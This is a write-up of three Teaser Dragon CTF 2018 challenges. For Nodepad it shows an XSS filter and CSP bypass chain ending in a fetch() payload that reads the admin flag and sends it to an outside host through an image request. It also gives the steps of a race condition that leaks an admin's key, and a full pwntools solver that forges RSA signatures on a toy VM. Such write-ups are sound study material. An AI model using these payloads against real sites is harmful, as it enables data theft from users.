Teaser Dragon CTF 2018

Sadly most of TokyoWesterns had no motivation to play Dragon Sector’s CTF this time.
Also I’ve been in ASU as a research scholar until the end of September, that’s why I’ve played this CTF as member of Shellphish with ASU students/professors, ended in contributing to solve following 3 challenges.

index

• Nodepad
• 3NTERPRISE s0lution
• cryptovm

Nodepad

As far as I can see the wrteup on CTFTime, I think this is unintended solution. I’ve never used SQLi, pin and base tag.

Nodepad is simple web application storing note written in Node.js.
User can create new note, pin, report and delete them.

Obviously the goal is steal flag using XSS vulnerability in this application.
When I looked into the code, special characters breaking DOM are prohibited:

router.post('/new', async (req, res) => {
  const regex = /[<>]/;

  let errors = [];
  if (regex.test(req.body.title)) {
    errors.push('Title is invalid');
  }

  if (regex.test(req.body.content)) {
    errors.push('Content is invalid');
  }

this filter can be bypassed easily with type confusion in JavaScript using JSON as folows:

{
  "title": {"a": "<font color=red>test</font>"},
  "content": "test"
}

Next step is to bypass CSP:

Content-Security-Policy: default-src 'none';    script-src 'nonce-d1471d0df85524b92b53c240214bb500' 'strict-dynamic';    style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css;    img-src 'self';    connect-src 'self';    frame-src https://www.google.com/recaptcha/;    form-action 'self';

An interesting point is the note contents are rendered from window.notes embedded in the page using /javascripts/note.js.

'use strict';

$(document).ready(function() {
  var container = $('#notes');
  var template = $('#note').html();

  function createNote(note) {
    var element = $(template);
    element.find('.title').attr('href', '/notes/' + note.id);
    element.find('.title').html(note.title);

    element.find('.pin').attr('action', '/notes/' + note.id + '/pin');
    if (note.pinned) {
      element.find('.pin-text').text('Unpin');
      element.find('.pin input[name="value"]').attr('value', '0');
    } else {
      element.find('.pin-text').text('Pin');
      element.find('.pin input[name="value"]').attr('value', '1');
    }

    element.find('.report').attr('href', '/notes/' + note.id + '/report');
    element.find('.delete').attr('action', '/notes/' + note.id + '/delete');

    var body = element.find('.body');
    note.content.split('\n').forEach(function(text, line) {
      var el = $('<p></p>');
      el.text(text);
      if (line === 0) el.addClass('lead');
      body.append(el);
    });

    container.append(element);
  }

  if (window.notes.length) {
    window.notes.forEach(createNote);
  } else {
    container.append("<p>You don't have any notes</p>");
  }
});

jQuery get html contents of #note DOM to render notes and convert them to jQuery object.
This html contents can be easily hijacked by overwriting #note DOM.
Payload in window.notes bypasses all CSP restriction because strict-dynamic is enabled to propagate nonce from root script notes.js. Then XSS is triggered even with inline script:

{
  "title": {"test": "<div id=note><script>alert(1);//"},
  "content": "test"
}

note that </script> tag is treated as closing tag for <script nonce="{nonce}"> which results in breaking window.notes.

Then, last step is just leaking flag.

fetch(`/admin/flag`)
.then(res => {
		return res.text();
})
.then(text => {
		el = document.createElement('img')
		el.src = `http://[HOSTNAME]/?c=${text.split('alert-success">')[1].split("<")[0]}`;
		document.body.appendChild(el)
})

DrgnS{Ar3_Y0u_T3mP14t3d?}

3NTERPRISE s0lution

A weird authentication method is used in this application to login. Users have to send request on two endpoints /login/user and /login/auth like 2FA. Stragely, it tookes about 5 seconds to process /login/user and authentication was totally unstable. Session is usually expired after login and it was so stressful for me.
For the first strange point, it seems that some communication with backend takes a couple of seconds on /login/user.

In authenticated area, user can post memo and it’s encrypted with specific key for each user. Each post is decrypted with secret key at /note/getkey on rendering. There is admin’s encrypted post on /note/show/0. The goal seems to get admin’s key and decrypt them.

After reading code carefully, I noticed race condition on /login/user to overwrite backend cache with arbitrary user’s secret key.

@app.route('/login/user', methods=['POST'])
def do_login_user_post():
  username = get_required_params("POST", ['login'])['login']
  backend.cache_save(
    sid=flask.session.sid,
    value=backend.get_key_for_user(username)
  )
  state = backend.check_user_state(username)
  if state > 0:
    add_msg("user has {} state code ;/ contact backend admin ... ".format(state))
    return do_render()
  flask.session[K_LOGGED_IN] = False
  flask.session[K_AUTH_USER] = username

  return do_302("/login/auth")

backend.cache_save is called with username in user’s request without checking.

So the strategy is:

1. login as normal user
2. send request to /users/login with username admin
3. send request to /note/getkey simultaneously with step 2
4. decrypt admin’s post using leaked key

It works, but got only first part of the key which is not enough to decrypt whole contents.

After a couple of hours, one of team members Paul succeeded to decrypt post by posting message with adding some \x00. Basically /note/getkey glows as user post longer message. That’s why I couldn’t get the flag :P

cryptovm

Given vm.c is tiny VM. example_code and example_keys are sample byte code and key pairs file for VM.

Overview

This cryptovm can calculate some arithemitic operations about RSA. keys file is loaded as list of n and d pair which is used to calculate, each n is 1024 or 2048 bits called WEAKBYTES or STRONGBYTES.

This VM has following internal states.

#define NUM_KEYS 16
#define NUM_MEM 16

#define MEM_SIZE 512

struct vm_state {
    struct rsaKey rsaKeys[NUM_KEYS];
    char flag[FLAG_SIZE];
    unsigned char isSuperUser;
    unsigned char isDebug;
    int codeSize;
    unsigned char code[CODESIZE];
    unsigned int ip;
    unsigned char mem[NUM_MEM][MEM_SIZE];
    struct rsaKey currentKey;
};

Most important member is rsaKeys and currentKey.

• rsakeys
  • preloaded RSA key paris from keys file
• currentKey
  • current key used to calculate some value related to RSA

struct rsaKey {
    unsigned int bytes;
    unsigned char n[256];
    unsigned char exp[256];
} __attribute__((packed));

• bytes
  • the length of bits used to load n and exp
• n
  • public key
• exp
  • an exponent value to encrypt/decrypt RSA, this value is e (65537) or d (private key).

mem is used as temporary register for calculation.

Available opcodes are as follows:

• OP_FLAG (0x0)
  • no operands
  • puts flag if isSuperUser is 1
• OP_GETPUB (0x1)
  • key_slot (1byte), mem_slot (1byte)
  • load public key to memory
• OP_SETMODE (0x2)
  • mode (1byte)
  • change bytes of currentKey to 128 (WEAKBYTES) or 256 (STRONGBYTES)
• OP_LOADPRIV (0x3)
  • key_slot (1byte)
  • load priavte key into currentKey if it is under WEAKBYTES mode
• OP_LOADPUB (0x4)
  • key_slot (1byte)
  • load public key into currentKey
• OP_RSA (0x5)
  • msg (128 or 256 bytes), mem_slot (1byte)
  • calculate $\rm msg^{exp} \pmod{n}$ using currentKey
• OP_SUDO (0x6)
  • key_slot (1byte), mem_slot (1byte)
  • change isSuperUser to 1 if verify succeeded
• OP_ADD, OP_SUB, OP_MUL, OP_DIV, OP_MOD, OP_POWMOD, OP_INVERT (0x7 - 0xe)
  • some mem_slots
  • do some arithemitic calclation using mem
• OP_PRINT (0xf)
  • mem_slot
  • print specific value of mem if isDebug is 1 for debugging purpose
• OP_EXIT (0x64)
  • no operands
  • exit VM

To get flag, user have to calculate correct RSA signature for message "Please give me superuser permissions" in memory, note that this signature should be for one 2048 bits key of rsaKeys.

The following is a summary of the above.

• User have to calculate arbitrary signature for 2048 bits one
• User can load lower half part of private key into currentKey.exp using OP_LOADPRIV with WEAKBYTES mode
• User can calculate $\rm msg^{exp} \pmod{n}$ for loaded key
• User can do some arithemitic calculations

When I started to solve this challenge, it was too complicated to test even example code. Then I wrote script to code parser and generator for debugging purpose. After analyzing example_code, I noticed that is calculating correct signature for keyslot 7 in example_keys using p and q.

When I posted the results on Slack, one of the ASU professors Dr. Tiffany Bao got an idea to solve this challenge using Publishing Upper Half of RSA Decryption Exponent and we started to implement solver.

Basically the paper says that d can be approximated with following formula

$$d \approx \frac{k}{e}\left(N+1\right) + \frac{1}{e}$$

under specific value k between 0 and e. The error is ignored against lower half of d which means we can recover upper half of d using n and e.
Also we know lower half of d but it exists only in currentKey. Remember that we can calculate $\rm msg^{exp} \pmod{n}$ using currentKey which equals to $\rm msg^{d_{lower}} \pmod{n}$. Then we can calculate correct signature by calculating $\rm msg^{d_{upper}} \pmod{n}$ and combine them using following formula:

$$\rm msg^{d} \equiv msg^{d_{upper} + d_{lower}} \equiv msg^{d_{upper}} \cdot msg^{d_{lower}}$$

To calculate $\rm msg^{d_{upper}} \pmod{n}$, we have to bruteforce k from 0 to e. OP_SUDO will not fail if the signature was incorrect, so we can try as much as possible at the same time.

Actually it takes over 5 hours to debug solver but finally we got flag 30 minutes before the CTF ends. Many thanks to Tiffany :)

here is final solver:

from __future__ import print_function

from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
import gmpy2
import commands
import struct
import concurrent.futures
from subprocess import Popen, PIPE
import sys

NUM_KEYS = 16

def parsekey(fp):
    _bytes = struct.unpack('<I', fp.read(4))[0]
    _n = fp.read(256)
    _exp = fp.read(256)
    return {'bytes': _bytes, 'n': bytes_to_long(_n[::-1]), 'exp': bytes_to_long(_exp[::-1])}


class Code(object):
    CODE_SIZE = 1024*1024
    MEM_SIZE = 512
    NUM_MEM = 16

    OPS = dict()
    OP_NAMES = ['flag', 'getpub', 'setmode', 'loadpriv', 'loadpub', 'rsa', 'sudo', 'setmem',
     'add', 'sub', 'mul', 'div', 'mod', 'powmod', 'invert', 'print', 'exit']
    for i, op_name in enumerate(OP_NAMES[:-1]):
        OPS[i] = op_name
    OPS[100] = 'exit'
    MEM = ['' for _ in range(NUM_MEM)]

    def __init__(self):
        self.data = ""
        self.nbytes = 128

    def flag(self):
        self.data += "\x00"

    def getpub(self, key_slot, mem_slot):
        self.data += "\x01" + chr(key_slot) + chr(mem_slot)

    def setmode(self, mode):
        self.data += "\x02" + chr(mode)
        self.nbytes = {0: 128, 1: 256}[mode]

    def loadpriv(self, key_slot):
        self.data += '\x03' + chr(key_slot)

    def loadpub(self, key_slot):
        self.data += '\x04' + chr(key_slot)

    def rsa(self, msg, mem_slot):
        msg = msg.ljust(self.nbytes, "\x00")
        # assert len(msg) == self.nbytes
        self.data += '\x05' + msg + chr(mem_slot)

    def sudo(self, key_slot, mem_slot):
        self.data += '\x06' + chr(key_slot) + chr(mem_slot)

    def setmem(self, mem_slot, mem):
        mem = mem.ljust(self.MEM_SIZE, '\x00')
        # assert len(mem) == self.MEM_SIZE
        self.data += '\x07' + chr(mem_slot) + mem

    def add(self, a, b, c):
        self.data += '\x08' + chr(a) + chr(b) + chr(c)

    def sub(self, a, b, c):
        self.data += '\x09' + chr(a) + chr(b) + chr(c)

    def mul(self, a, b, c):
        self.data += '\x0a' + chr(a) + chr(b) + chr(c)

    def div(self, a, b, c):
        self.data += '\x0b' + chr(a) + chr(b) + chr(c)

    def mod(self, a, b, c):
        self.data += '\x0c' + chr(a) + chr(b) + chr(c)

    def powmod(self, a, b, c, d):
        self.data += '\x0d' + chr(a) + chr(b) + chr(c) + chr(d)

    def invert(self, a, b, c):
        self.data += '\x0e' + chr(a) + chr(b) + chr(c)

    def print(self, mem_slot):
        self.data += '\x0f' + chr(mem_slot)

    def exit(self):
        self.data += chr(100)
        
    def save(self, fname):
        open(fname, 'wb').write(self.data.ljust(self.CODE_SIZE, chr(100)))

    def dump(self):
        return self.data

    def clear(self):
        self.data = ""

    def parse(self, fname):
        fp = open(fname, 'rb')
        
        while True:
            op = ord(fp.read(1))
            if not op:
                break

            print(self.OPS[op], end='')
            varnames = getattr(self, self.OPS[op]).__func__.__code__.co_varnames[1:]
            if op == 5: # rsa
                print(' mem={} mem_slot={}'.format(repr(fp.read(self.nbytes).strip('\x00')), ord(fp.read(1))), end='')
            elif op == 2: # setmode
                mode = fp.read(1)
                print(' mode={}'.format({0: 'MODEWEAK', 1: 'MODESTRONG'}[ord(mode)]), end='')
                self.nbytes = {0: 128, 1: 512}[mode]
            elif op == 7: # setmem
                mem_slot = ord(fp.read(1))
                mem = fp.read(self.MEM_SIZE)
                print(' mem_slot={} mem={}'.format(mem_slot, repr(mem.strip('\x00')), end=''))
                self.MEM[mem_slot] = mem

            else:

                for v in varnames:
                    idx = ord(fp.read(1))
                    print(' {}={}({})'.format(v, idx, bytes_to_long(self.MEM[idx][::-1])), end='')
            print('')


# test code for example_code
# code = Code()
# code.parse("./example_code")
# p = 60577381335121930378049095038362041349510677730971333728430969142299997191539640776699647432719383772727967113505054324309039736859894426301979277400166137505416580587624307390710560508759811102272897231491086937522908899894365550698254496425742064666237056445125827937216764969668504749104099491488120443619
# q = 16875876078499331470671840887468629307321569957425435020205720220938471297561781314601794832354980541520102268852969113765934733543861452359895081388063058984674119972894684481733724899425609039663560995262762360740053238688223716660923055638785296546660045104914833837240838583999742652051463122583923598119
# e = 65537
# d = gmpy2.invert(e, (p-1)*(q-1))

# code.setmem(0, long_to_bytes(p)[::-1])
# code.setmem(1, long_to_bytes(q)[::-1])
# code.mul(0, 1, 2)
# code.setmem(15, '\x01')
# code.setmem(14, long_to_bytes(65537)[::-1])
# code.setmem(13, 'Please give me superuser permissions')
# code.sub(0, 15, 0)
# code.sub(1, 15, 1)
# code.mul(0, 1, 3)
# code.invert(14, 3, 5)
# code.powmod(13, 5, 2, 6)
# code.sudo(7, 6)
# code.print(6)
# code.flag()
# code.save("code")


# poc for the paper 
# fp = open('./keys', 'rb')
# keys = [parsekey(fp) for _ in range(NUM_KEYS)]
# from pprint import pprint
# pprint(keys)
# exit()
# n = keys[7]['n']
# d = keys[7]['exp']

# d_h = (d>>(8*128))<<(8*128)
# d_l = d&((2<<(8*128))-1)

# for k in range(65537):
#     _d = (k*(n+1)+1)/e
#     if d>>(8*128) == _d>>(8*128):
#         print(k)
#         # print(d>>(8*128))
#         # print(_d>>(8*128))

# k = 3168
# _d = (k*(n+1)+1)/e
# assert _d>>(8*128) == d>>(8*128)
# d_h = (_d / (2**(8*128))) * (2**(8*128))
# # d_h = (_d>>(8*128))<<(8*128)
# d_l = d&((2<<((8*128)-1))-1)
# print(hex(d_l))

# print(hex(d_h))
# print(hex(d_l))
# print(hex(d))
# assert d_h+d_l == d

# print(hex(d_h))
# print(hex(d_l))
# m = bytes_to_long("Please give me superuser permissions".ljust(128, '\x00')[::-1])

# s_h = gmpy2.powmod(m, d_h, n)
# s_l = gmpy2.powmod(m, d_l, n)
# print(gmpy2.powmod(s_h*s_l, 1, n))
# print(gmpy2.powmod(m, d, n))

# exit()

def init(keyslot):
    code = Code()
    code.setmode(0)
    code.getpub(keyslot, 15) # N (keyslot=7)
    code.setmem(14, long_to_bytes(2)[::-1]) # 2 @14
    code.div(14, 14, 13) # 1 @13
    code.powmod(14, 14, 15, 12) # 4
    code.powmod(12, 14, 15, 12) # 16
    code.powmod(14, 12, 15, 12) # 65536
    code.add(12, 13, 12) # 65537 @12
    code.mul(14, 14, 11) # 4
    code.mul(11, 14, 11) # 8
    code.add(11, 14, 11) # 10
    code.powmod(14, 11, 15, 11) # 128*8 (= 2**10)
    code.powmod(14, 11, 15, 11) # 2**(128*8) @11
    code.setmem(10, "Please give me superuser permissions") # msg @10
    return code.dump()

def payload(k, keyslot):
    ret = ""
    code = Code()
    code.setmem(1, long_to_bytes(k)[::-1])
    ret += code.dump()

    code.clear()

    code.add(15, 13, 0) # (N+1)
    code.mul(0, 1, 0) # k(N+1)
    code.add(0, 13, 0) # k(N+1) + 1
    code.div(0, 12, 0) # (k(N+1)+1)/e ~= d
    code.div(0, 11, 0) # clear lower 128 bytes
    code.mul(0, 11, 0) # d(higher)
    code.powmod(10, 0, 15, 0) # msg^d(higher)
    code.setmode(1) # temporary change mode to load full public key
    code.loadpub(keyslot)
    code.setmode(0)
    code.loadpriv(keyslot) # keyslot (128bit)
    code.setmode(1)
    code.rsa("Please give me superuser permissions", 2) # msg^d(lower)
    code.mul(2, 0, 3) # msg^d(lower)*msg^d(higher)
    code.sudo(keyslot, 3)
    ret += code.dump()
    return ret

# search maximum size for payload
size = (1024*1024 - len(init(0))) / len(payload(0, 0))

def solve_local(keyslot, offset):
    s = init(keyslot)
    for k in range(offset, offset+size):
        s += payload(k, keyslot)
    code = Code()
    code.flag()
    s += code.dump()

    assert len(s) <= 1024*1024
    s = s.ljust(1024*1024, chr(100))

    p = Popen("./a.out", stdin=PIPE, stdout=PIPE)
    p.stdin.write(s)
    res = p.communicate()[0]
    if 'error' not in res:
        print(res)
    print(keyslot, offset)

def solve_remote(keyslot, offset):
    host, port = "cryptovm.hackable.software", 1337
    r = remote(host, port)
    r.recvuntil('Proof of Work: ')
    cmd = r.recvline().strip()
    print(cmd)
    r.sendline(commands.getoutput(cmd))

    s = init(keyslot)

    for k in range(offset, offset+size):
        s += payload(k, keyslot)

    code = Code()
    code.flag()
    s += code.dump()

    assert len(s) <= 1024*1024
    s = s.ljust(1024*1024, chr(100))
    r.send(s)
    context.log_level = 'debug'
    res = r.recvall()
    if 'error' not in res:
        print(res)
    context.log_level = 'info'
    print(keyslot, offset)


with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
    for keyslot in map(int, sys.argv[1:]):
        futures = list()
        for i in range(0, 65537, size):
            futures.append(executor.submit(solve_remote, keyslot, i))
            # futures.append(executor.submit(solve_local, keyslot, i))
        executor.shutdown(wait=True)
        [f.result() for f in futures]

[+] Receiving all data: Done (97B)
[DEBUG] Received 0xf bytes:
    'starting init.\n'
[DEBUG] Received 0x23 bytes:
    'starting vm. code length = 1048576\n'
[DEBUG] Received 0x28 bytes:
    'DrgnS{093e99f356f7f3ba97409e818450606a}\n'
[DEBUG] Received 0x7 bytes:
    '\n'
    'done.\n'
[*] Closed connection to cryptovm.hackable.software port 1337
starting init.
starting vm. code length = 1048576
DrgnS{093e99f356f7f3ba97409e818450606a}

done.

4 46080

The flag was found on slot 4 with k between 46080 and 47360.